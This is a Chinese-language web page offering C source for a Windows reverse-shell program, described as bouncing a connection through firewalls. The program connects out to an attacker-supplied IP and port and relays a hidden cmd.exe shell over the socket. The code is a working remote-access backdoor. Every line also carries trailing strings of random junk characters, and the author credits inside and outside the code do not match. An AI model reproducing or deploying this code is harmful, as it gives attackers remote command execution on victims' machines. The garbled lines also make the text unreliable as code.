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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !)}D_9{  
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/* ============================== R^]a<g,  
Rebound port in Windows NT 1#8~@CQ ::  
By wind,2006/7 T5}5uk9  
===============================*/ AS0mM HJk  
#include SR`A]EC(V  
#include k(v &+v  
'Mhnu2d  
#pragma comment(lib,"wsock32.lib") -y[y.#o  
t;:Yf  
void OutputShell(); SpOSUpl%  
SOCKET sClient; %eGD1.R  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &B++ "f  
y)TBg8Q  
void main(int argc,char **argv) O2fFh_\  
{ _d+` Gw  
WSADATA stWsaData; &)|f|\yh"  
int nRet; Z=< D`  
SOCKADDR_IN stSaiClient,stSaiServer; 3$BO=hI/-  
uC6e2py<[  
if(argc != 3) AgB$ w4  
{ 1^[]#N-Bu  
printf("Useage:\n\rRebound DestIP DestPort\n"); sDu&9+  
return; }uO2 x@  
} 75A60Uw  
}:1qK67S  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5d}bl{  
i98PlAq)B  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ej&o,gX  
&ha<pj~  
stSaiClient.sin_family = AF_INET; 4 XGEw9`3  
stSaiClient.sin_port = htons(0); `8TL*.9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yA`,ns&n  
6 \ %#=GG  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2d<`dQY{l3  
{ 6'e 'UD  
printf("Bind Socket Failed!\n"); QqcAmp  
return; Hl8\*#;C&>  
} cCIs~*D  
"IWL& cH3  
stSaiServer.sin_family = AF_INET; =H^~"16  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \tdYTb.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j tqU`|FSQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L_!}R  
{ SV^[)p )  
printf("Connect Error!"); 6*I=% H|  
return; (D\`:1g  
} 1W9uWkk_d  
OutputShell(); wqyF"^It"  
} nrM-\'  
C4|79UG>s  
void OutputShell() `|:` yl  
{ ?Uhjyi  
char szBuff[1024]; e C&!yY2g  
SECURITY_ATTRIBUTES stSecurityAttributes; B;Co`o2  
OSVERSIONINFO stOsversionInfo; AO8%!+"_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; msw=x0{n5  
STARTUPINFO stStartupInfo; mH'om SCz  
char *szShell; '9AYE"7Ydk  
PROCESS_INFORMATION stProcessInformation; @X_)%Y-^O  
unsigned long lBytesRead; !ed0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f6#1sO4"  
F5\{`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -?ebkHe  
stSecurityAttributes.lpSecurityDescriptor = 0; *bi;mQ  
stSecurityAttributes.bInheritHandle = TRUE; {65_k  
FXid=&T@0D  
>}86#^F  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MhN 8'y(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o7yvXrpG(U  
w X.]O!^X~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); KU_""T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ` )~CT  
stStartupInfo.wShowWindow = SW_HIDE; U#4>GO;A  
stStartupInfo.hStdInput = hReadPipe; O{=@c96rl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z>spRl,dr  
U@)WTH6d  
GetVersionEx(&stOsversionInfo); $XFFNE`%  
;GZ'Rb  
switch(stOsversionInfo.dwPlatformId) z@xkE ,j>  
{ 8ya|eJ]/L  
case 1: %v]-:5g'|  
szShell = "command.com"; W1O Y}2kj  
break; F>5)Clq  
default: $XrX(l5  
szShell = "cmd.exe"; tSaD=#v  
break; szy2"~hm  
} tU>4?`)E  
;oRgg'k<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <;dFiI-GO#  
,h.hgyt  
send(sClient,szMsg,77,0); 4HyD=6V#  
while(1) N!13QI H  
{ hj3wxH.}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aOW$H:b  
if(lBytesRead) ;7g~4Uv4}  
{ Dfd%Z;Yu  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Qf|c^B  
send(sClient,szBuff,lBytesRead,0); UFr5'T  
} ;vgaFc]  
else k i{8f  
{ mB*;>   
lBytesRead=recv(sClient,szBuff,1024,0); rF . Oo0  
if(lBytesRead<=0) break; YHo*IX')C?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N1'$;9 c  
} P? LpI`f  
} uq@_DPA7  
{7 nz:f  
return; o>\epQt~/p  
}
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